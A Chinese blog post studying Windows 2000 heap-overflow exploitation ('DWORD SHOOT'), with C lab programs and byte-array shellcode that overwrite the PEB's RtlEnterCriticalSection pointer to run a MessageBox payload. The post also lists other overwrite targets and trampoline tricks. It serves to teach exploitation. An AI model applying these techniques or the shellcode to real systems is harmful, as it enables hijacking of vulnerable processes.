selph
selph
发布于 2022-03-24 / 387 阅读
0
0

漏洞学习--堆溢出利用

Arbitrary DWORD Reset

Arbitrary DWORD Reset也叫DWORD SHOOT,后面叫DWORD SHOOT了,敲起来方便

DWORD SHOOT原理

堆操作有三种:堆分配,释放,合并

其中所有的卸下和链入堆块的操作都发生在链表中,如果能伪造链表结点指针,在卸下和链入的过程中就可能有一次读写内存的机会

堆溢出利用的精髓就是构造数据去溢出下一个堆块的块首,改写两个链表指针,然后等待发生任意地址写入任意数据的机会--称之为DWORD SHOOT(arbitrary DWORD reset)

通过DWORD SHOOT,可以劫持进程运行shellcode,有三种情况:

targetpayloadresult
栈帧中的函数返回地址shellcode首地址函数返回时,跳转去执行
栈帧中的SEH句柄shellcode首地址异常发生时,跳转去执行
重要函数调用地址shellcode首地址函数调用时,跳转去执行

将一个结点从双向链表中卸下类似这样:

typedef struct _LIST_ENTRY
{
    struct _LIST_ENTRY* FLink;
    struct _LIST_ENTRY* BLink;
}LIST_ENTRY;

int remove(ListNode* node){
    node->blink->flink = node->flink;
    node->flink->blink = node->blink;
    return 0;
}

image-20220228201744871

当淹没堆首的时候,node->blinknode->flink两个指针可以被控制,于是:

  • node->blink->flink = node->flink;时,node->blink->flink实际上就是node->blink指向的地址,会往这个地址里写入node->flink这里构造的数据
  • node->flink->blink = node->blink;时,node->flink会被解析当成LIST_ENTRY的地址,然后选中blink位置的值当作地址,因为node->flink已经被构造成指定数据了,这里会异常
  • 结果是:成功进行了一次向任意内存写入任意数据

原理示意图:

image-20220228201800302

DWORD SHOOT手工模拟

实验环境:Windows 2000 + VC++6.0 + release编译

实验代码:

#include <windows.h>
main()
{
	HLOCAL h1, h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	_asm int 3	//used to break the process
	//free the odd blocks to prevent coalesing
	HeapFree(hp,0,h1); 
	HeapFree(hp,0,h3); 
	HeapFree(hp,0,h5); //now freelist[2] got 3 entries
	
	//will allocate from freelist[2] which means unlink the last entry (h5)
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 
		
	return 0;
}

程序逻辑很简单:首先创建了一个堆区大小是0x1000,然后申请了6个2堆块大小的空间,然后释放其中不相连的三个,最后再申请一个

下断点,观察释放完三个堆块时候的内存:

image-20220301090559685

从上往下依次是h1,h2,h3,h4,h5,h6,圈出来的0和1表示使用状态,1表示占用,0表示空闲,后面的数据里填充的是空表的双向链表,当按照h1,h3,h5的顺序释放申请的内存的时候,堆块通过头插法插入到空表的双向链表中,所以h5会是空表free[2]中的第一个,所以再次申请同等大小的堆内存的时候,会对该堆块进行操作(卸下链表的操作)

此时手工修改内存模拟堆溢出:

image-20220301091332274

当申请操作执行时,内存变化如下:

image-20220301091404496

往blink内填充的地址里写入往flink里填充的数据,然后出现异常,访问flink这个地址的blink位置时(0x60666666+4=0x6066666A)报错

因为这个DWORD SHOOT操作主要是针对双向链表的,如果能操控要拆卸的链表指针,当进行拆卸的时候,就可以引发该问题,所以对快表也有效

DWORD SHOOT利用方法

堆溢出的精髓在于DWORD SHOOT,相比栈溢出的地毯式轰炸更为精准,就像狙击一样

常用的狙击目标:

  • 内存变量,能够影响程序执行的重要变量
  • 代码逻辑:修改代码段重要函数的关键逻辑
  • 函数返回地址:可以劫持进程
  • 攻击异常处理机制:堆溢出容易引起异常,所以这也挺重要,包括SEH,FVEH,PEB的UEF,TEB的TEH
  • 函数指针:改写函数指针劫持进程,例如c++虚函数调用,动态链接库中的函数等,但不一定能成,取决于软件开发方式
  • PEB中线程同步函数入口地址,每个进程的PEB中都有一对同步函数指针,指向RtlEnterCriticalSection()RtlLeaveCriticalSection(),并在进程退出时被ExitProcess()调用,如果能修改其中一个,就能在程序退出时执行shellcode。

狙击RtlEnterCriticalSection函数

这是个同步线程用的函数,当进程退出时,ExitProcess函数要做很多善后工作,其中就会用到这个对函数进行线程同步,防止脏数据产生

RtlEnterCriticalSection函数在Windows2000上,位于PEB的0x20偏移处,也就是0x7FFDF020处

实验环境:Windows2000 + VC++6.0 + Release编译

实验代码:

#include <windows.h>
char shellcode[200] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 
};

int main(){
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3
	memcpy(h1,shellcode,200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //DWORD SHOOT
	return 0;
}

代码这里申请了200字节的堆空间,然后通过memcpy复制了0x200字节内容过去,0x200字节远超于200字节的堆空间,会发生溢出;

h1堆空间申请完之后,后面跟着的是尾块,最后再次分配h2的时候,会切割尾块进行分割,在这个时候会触发DWORD SHOOT,修改RtlEnterCriticalSection函数指针为shellcode位置

DWORD SHOOT后,发生异常导致程序退出,会调用ExitProcess函数结束进程

ExitProcess函数会从PEB中拿出被修改为shellcode的指针进行执行,从而完成了进程劫持

代码这里的shellcode是200字节的0x90,用来查看下一个块的情况:

image-20220301101829310

下一个块的块首信息是:16 01 1A 00 00 10 00 00 78 01 52 00 78 01 52 00

堆溢出需要精准覆盖到下一个块的两个链表指针,对于块首8字节也要保持堆首的格式

所以这里shellcode要控制在216字节大小,实验代码:

#include <windows.h>
char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,//NOP
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,//SHELLCODE MessageBox
    0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
    0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
    0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
    0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
    0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
    0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
    0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
    0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
    0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
    0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
    0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
    0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
    0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
    0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
    0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
    0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
    0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
    0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
    0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00, //head of the ajacent free block
    0x88, 0x06, 0x52, 0x00, //0x00520688 shellcode address
	0x20, 0xF0, 0xFD, 0x7F //0x7ffdf020 RtlEnterCriticalSection()
};

int main(){
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3
	memcpy(h1,shellcode,0x200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //DWORD SHOOT
	return 0;
}

shellcode的内容是弹消息框,这里依然不能弹窗是因为在shellcode里,也有函数调用了PEB里的函数指针,所以需要继续修改shellcode,在shellcode执行之前将函数指针还原回去,以确保shellcode正常执行

实验代码:

#include <windows.h>
char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 
	0xB8, 0x20, 0xF0, 0xFD, 0x7F, //MOV EAX,7FFDF020
	0xBB, 0x60, 0x20, 0xF8, 0x77, //MOV EBX,77F82060
	0x89, 0x18,					  //MOV [EAX],EBX
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
    0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
    0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
    0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
    0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
    0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
    0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
    0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
    0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
    0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
    0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
    0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
    0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
    0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
    0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
    0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
    0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
    0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
    0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
    0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,// nop
    0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00,// head of the ajacent free block
    0x88, 0x06, 0x52, 0x00, //shellcode
	0x20, 0xF0, 0xFD, 0x7F //RtlEnterCriticalSection
};


int main(){
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3
	memcpy(h1,shellcode,0x200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //DWORD SHOOT
	return 0;
}

执行效果:

image-20220301103014290

成功实现shellcode的执行

堆溢出利用的注意事项

调试堆和常态堆的区别:

堆管理会检测进程是否被调试,调试堆和常态堆区别很大,当可以调试源码时,可以在源码里加int3,不能调试源码的情况下,可以修改检测调试器的函数返回值

在shellcode中修复环境:

一般来说,大多数堆溢出中都需要进行一些修复环境的工作

shellcode中第一条指令CDF是用来修复环境的,调用ExitProcess时,会把DF标志位修改为1,加载内存方向改变了就,导致读取内存出错

堆溢出中,有时候还需要去修复堆区

定位shellcode跳板:

堆地址不固定时,需要定位shellcode地址,在利用UEF时,可以使用几种指令作为跳板定位shellcode:

call DWORD PTR [EDI + 0x78]
call DWORD PTR [ESI + 0x4C]
call DWORD PTR [EBP + 0x74]

DWORD SHOOT之后的指针反射现象

链表操作的第二次DWORD SHOOT,会把目标地址写进Shellcode偏移4字节位置里,这种情况称为指针反射

有时在指针反射发生前会产生异常,大多数情况下指针反射会发生,很多情况下,4字节目标地址都会当作无关痛痒的指令安全执行过去

为某个特定漏洞开发exp时,指针反射发生且目标指针不能单座无关痛痒指令安全执行过去,就得使用别的目标或使用跳板技术

参考资料

  • 《0day安全》第二版

评论